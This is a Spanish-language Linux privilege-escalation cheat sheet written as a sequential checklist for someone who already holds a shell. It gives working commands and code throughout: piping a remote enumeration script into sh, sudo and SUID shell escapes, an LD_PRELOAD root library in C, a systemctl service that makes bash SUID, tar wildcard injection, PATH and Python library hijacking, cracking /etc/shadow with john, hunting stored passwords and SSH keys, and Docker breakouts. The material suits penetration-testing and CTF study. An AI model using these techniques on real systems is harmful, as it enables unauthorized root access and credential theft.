Guía Maestra Linux PrivEsc
Esta guía unifica técnicas de escalada de privilegios en Linux. Úsala como checklist secuencial cuando tengas acceso inicial (shell) y necesites ser root.
1. Enumeración Rápida & Automatizada
Antes de enumerar manualmente, busca “fruta madura” (Low Hanging Fruit).
- LinPEAS:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Linux Exploit Suggester: Para buscar Kernel Exploits (DirtyCow, etc).
- Pspy: Para monitorizar procesos y cronjobs en tiempo real sin ser root.
2. Enumeración Manual (La Base)
Información del Sistema
hostname
uname -a # Kernel version (Buscar CVEs)
cat /etc/*-release # Distribución exacta
env # Variables de entorno (¿Claves? ¿Rutas raras?)
Usuarios y Grupos
whoami
id # ¡CRÍTICO! Mira si estás en grupos: docker, lxd, disk, adm, sudo, wheel
sudo -l # ¡LO PRIMERO QUE HAY QUE HACER!
cat /etc/passwd | cut -d: -f1 # Listar usuarios
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # ¿Hay otro root?
Red y Puertos (Internos)
Buscar servicios que solo escuchan en local (127.0.0.1) como MySQL, Paneles Admin, etc.
netstat -tulnp
ss -tulnp
3. Abusando de SUDO (sudo -l)
Si sudo -l muestra que puedes ejecutar binarios sin contraseña (NOPASSWD), busca siempre en GTFOBins.
Pivoting a otro usuario (Lateral Movement)
Si puedes ejecutar un comando como otro usuario (ej. toby), puedes obtener su shell:
sudo -u toby /bin/bash
sudo -u toby vim
Exploits Comunes de Sudo (GTFOBins Classics)
Vim / Vi / Nano
sudo vim -c ':!/bin/sh'
# O dentro de vim presiona ESC y escribe:
# :set shell=/bin/sh
# :shell
Less / More / Man
Si el binario te muestra paginación (como less), estando dentro escribe:
!/bin/sh
LD_PRELOAD
Si ves env_keep+=LD_PRELOAD en la salida de sudo -l:
- Crear
pe.c:#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } - Compilar:
gcc -fPIC -shared -o pe.so pe.c -nostartfiles - Ejecutar:
sudo LD_PRELOAD=/tmp/pe.so <comando_permitido>
4. Permisos SUID / SGID
Busca binarios que se ejecuten con permisos del dueño (generalmente root) independientemente de quién los lance.
find / -perm -4000 2>/dev/null # Buscar SUID
find / -perm -2000 2>/dev/null # Buscar SGID
Exploits Específicos SUID
Systemctl (SUID) Si puedes crear servicios, crea uno que te haga root:
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
# Luego ejecuta: bash -p
Python (SUID)
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Pkexec (PwnKit - CVE-2021-4034)
Si pkexec tiene SUID, usar exploit PwnKit.
Nmap (Versiones antiguas)
nmap --interactive -> !sh
5. Capabilities
Si Sudo y SUID fallan, mira las capabilities. Es un control de acceso más granular.
getcap -r / 2>/dev/null
Python con Capability cap_setuid+ep
Si Python la tiene, eres root:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
6. Cronjobs y Timers
Busca tareas programadas que ejecuten scripts.
cat /etc/crontab
ls -la /etc/cron.d
ps -aux | grep cron
Vectores de Ataque Cron
- Archivo Editable: Si el script que ejecuta root (
backup.py) es editable por ti -> Escribe una reverse shell dentro. - Archivo No Existe: Si cron intenta ejecutar
/home/user/backup.shy el archivo no existe (pero puedes escribir en la carpeta) -> Crea el archivo malicioso con ese nombre. - Wildcards (*): Si el cron ejecuta
tar czf *en una carpeta donde puedes escribir.touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh runme.sh" # En runme.sh metes tu reverse shell
7. Hijacking (Secuestro de Rutas)
PATH Hijacking
Si un script SUID o de root ejecuta un comando sin ruta absoluta (ej: ejecuta ifconfig en lugar de /sbin/ifconfig):
- Comprobar PATH:
echo $PATH - Crear script malicioso en
/tmp:echo "/bin/bash" > /tmp/ifconfig chmod +x /tmp/ifconfig - Modificar PATH para que busque primero en
/tmp:export PATH=/tmp:$PATH - Ejecutar el binario vulnerable.
Python Library Hijacking
Si un script de python (ej: vuln.py ejecutado por root) importa una librería (ej: import random) y tienes permisos de escritura en la carpeta del script:
- Crear
random.pyen la misma carpeta quevuln.py.import os os.system("/bin/bash") - Ejecutar
vuln.py(o esperar a que el cron lo ejecute).
8. Archivos Sensibles y Contraseñas
Crackear /etc/shadow
Si puedes leer /etc/shadow (fallo de permisos):
- Copiar contenido de
/etc/passwdy/etc/shadowa tu máquina atacante. - Combinar:
unshadow passwd.txt shadow.txt > hash.txt - Crackear:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Claves SSH
Buscar claves privadas (id_rsa) legibles.
find / -name id_rsa 2>/dev/null
# Si tiene password, crackear con ssh2john.py y john.
Contraseñas en Ficheros (Grep)
grep -rEi "pass|pwd|user|credential" /home/ 2>/dev/null
grep -rEi "password" /var/www/ 2>/dev/null
grep -rEi "DB_PASS" /var/www/html/wp-config.php # Wordpress
9. Docker & Contenedores
¿Estás en un Docker? (ls -la / ves el archivo .dockerenv o cgroups).
Docker Breakout (Si eres root DENTRO del docker) Intenta montar el disco duro de la máquina real (Host) dentro del contenedor:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Si funciona, tienes acceso a TODO el sistema de ficheros real en /mnt/host
chroot /mnt/host
Grupo Docker (En el Host)
Si tu usuario en la máquina víctima está en el grupo docker, eres root de facto:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
10. Kernel Exploits (Último Recurso)
Solo usar si todo lo anterior falla. Puede crashear la máquina.
- DirtyCow (CVE-2016-5195): Kernels viejos (2.6 - 3.x).
- PwnKit (CVE-2021-4034): Pkexec.
- Baron Samedit (CVE-2021-3156): Sudo heap overflow.